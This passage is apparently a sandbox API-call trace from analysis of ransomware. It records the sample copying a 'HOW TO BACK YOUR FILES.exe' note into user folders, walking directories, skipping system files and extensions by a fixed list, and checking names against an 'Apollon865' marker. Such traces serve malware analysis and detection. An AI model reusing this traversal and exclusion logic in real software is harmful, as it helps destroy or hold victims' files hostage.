	[0038.676] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.677] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.682] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.682] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2a6a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.682] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.683] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.683] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.683] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2a6a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.683] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.683] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.683] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.683] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.683] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2a6a10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.683] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.683] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
	[0038.683] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.683] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="Apollon865.txt.exe") returned 1
	[0038.683] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".") returned 1
	[0038.683] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Microsoft at Home~.feed-ms" | out: lpString1="Microsoft at Home~.feed-ms") returned="Microsoft at Home~.feed-ms"
	[0038.683] lstrlenW (lpString="Microsoft at Home~.feed-ms") returned 26
	[0038.683] lstrlenW (lpString="Apollon865") returned 10
	[0038.683] lstrcmpiW (lpString1="e~.feed-ms", lpString2="Apollon865") returned 1
	[0038.683] lstrlenW (lpString=".dll") returned 4
	[0038.683] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".dll") returned 1
	[0038.683] lstrlenW (lpString=".lnk") returned 4
	[0038.683] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".lnk") returned 1
	[0038.683] lstrlenW (lpString=".ini") returned 4
	[0038.683] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".ini") returned 1
	[0038.683] lstrlenW (lpString=".sys") returned 4
	[0038.683] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".sys") returned 1
	[0038.683] lstrlenW (lpString="Microsoft at Home~.feed-ms") returned 26
	[0038.683] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Microsoft at Work~.feed-ms" | out: lpString1="Microsoft at Work~.feed-ms") returned="Microsoft at Work~.feed-ms"
	[0038.683] lstrlenW (lpString="Microsoft at Work~.feed-ms") returned 26
	[0038.683] lstrlenW (lpString="Apollon865") returned 10
	[0038.683] lstrcmpiW (lpString1="k~.feed-ms", lpString2="Apollon865") returned 1
	[0038.683] lstrlenW (lpString=".dll") returned 4
	[0038.683] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".dll") returned 1
	[0038.683] lstrlenW (lpString=".lnk") returned 4
	[0038.684] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".lnk") returned 1
	[0038.684] lstrlenW (lpString=".ini") returned 4
	[0038.684] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".ini") returned 1
	[0038.684] lstrlenW (lpString=".sys") returned 4
	[0038.684] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".sys") returned 1
	[0038.684] lstrlenW (lpString="Microsoft at Work~.feed-ms") returned 26
	[0038.684] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="MSNBC News~.feed-ms" | out: lpString1="MSNBC News~.feed-ms") returned="MSNBC News~.feed-ms"
	[0038.684] lstrlenW (lpString="MSNBC News~.feed-ms") returned 19
	[0038.684] lstrlenW (lpString="Apollon865") returned 10
	[0038.684] lstrcmpiW (lpString1="s~.feed-ms", lpString2="Apollon865") returned 1
	[0038.684] lstrlenW (lpString=".dll") returned 4
	[0038.684] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".dll") returned 1
	[0038.684] lstrlenW (lpString=".lnk") returned 4
	[0038.684] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".lnk") returned 1
	[0038.684] lstrlenW (lpString=".ini") returned 4
	[0038.684] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".ini") returned 1
	[0038.684] lstrlenW (lpString=".sys") returned 4
	[0038.684] lstrcmpiW (lpString1="MSNBC News~.feed-ms", lpString2=".sys") returned 1
	[0038.684] lstrlenW (lpString="MSNBC News~.feed-ms") returned 19
	[0038.684] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials"
	[0038.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0038.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0038.684] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials") returned 52
	[0038.684] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials"
	[0038.684] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.684] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.690] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.690] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2a6a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.690] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.690] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.690] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\History", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\History") returned="C:\\Users\\Default\\AppData\\Local\\History"
	[0038.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc908 | out: hHeap=0x580000) returned 1
	[0038.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0038.690] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\History") returned 38
	[0038.690] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\History" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\History") returned="C:\\Users\\Default\\AppData\\Local\\History"
	[0038.690] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.690] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\history\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.697] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.697] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2a6a10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0038.697] GetLastError () returned 0x5
	[0038.697] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\AppData\\Local\\History\\* FindFirstFile error 5\r\n") returned 72
	[0038.697] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\AppData\\Local\\History\\* FindFirstFile error 5\r\n") returned 72
	[0038.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0038.697] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8d9
	[0038.697] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x48, lpOverlapped=0x0) returned 1
	[0038.698] CloseHandle (hObject=0x154) returned 1
	[0038.698] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0038.698] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Application Data", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data") returned="C:\\Users\\Default\\AppData\\Local\\Application Data"
	[0038.698] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0038.698] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0038.699] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Application Data") returned 47
	[0038.699] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Application Data" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data") returned="C:\\Users\\Default\\AppData\\Local\\Application Data"
	[0038.699] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.699] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0038.699] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0038.699] GetLastError () returned 0x0
	[0038.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0038.699] ReadFile (in: hFile=0x154, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0038.699] CloseHandle (hObject=0x154) returned 1
	[0038.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0038.699] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.699] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2a6a10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0038.700] GetLastError () returned 0x5
	[0038.700] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\AppData\\Local\\Application Data\\* FindFirstFile error 5\r\n") returned 81
	[0038.700] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\AppData\\Local\\Application Data\\* FindFirstFile error 5\r\n") returned 81
	[0038.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0038.700] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x921
	[0038.700] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x51, lpOverlapped=0x0) returned 1
	[0038.700] CloseHandle (hObject=0x154) returned 1
	[0038.701] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0038.701] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users", iMaxLength=260 | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0038.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bed78 | out: hHeap=0x580000) returned 1
	[0038.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0038.701] lstrlenW (lpString="C:\\Users\\All Users") returned 18
	[0038.701] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0038.701] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.701] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0038.702] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0038.702] GetLastError () returned 0x0
	[0038.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0038.702] ReadFile (in: hFile=0x154, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0038.702] CloseHandle (hObject=0x154) returned 1
	[0038.702] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0038.702] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.702] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2a843a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.702] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.702] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.702] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe"
	[0038.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0038.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca150
	[0038.702] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0038.702] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0038.702] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.702] lstrcmpiW (lpString1="Application Data", lpString2="Apollon865.txt.exe") returned 1
	[0038.702] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1
	[0038.703] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1
	[0038.703] lstrlenW (lpString="Application Data") returned 16
	[0038.703] lstrlenW (lpString="C:\\Users\\All Users\\Adobe") returned 24
	[0038.703] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
	[0038.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0038.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdca8
	[0038.703] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0038.703] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0038.703] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0038.703] lstrlenW (lpString="Desktop") returned 7
	[0038.703] lstrlenW (lpString="C:\\Users\\All Users\\Application Data") returned 35
	[0038.703] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0038.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0038.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca250
	[0038.703] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0038.703] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="Apollon865.txt.exe") returned 1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1
	[0038.704] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1
	[0038.704] lstrlenW (lpString="Documents") returned 9
	[0038.704] lstrlenW (lpString="C:\\Users\\All Users\\Desktop") returned 26
	[0038.704] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Documents" | out: lpString1="Documents") returned="Documents"
	[0038.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0038.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b6118
	[0038.704] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
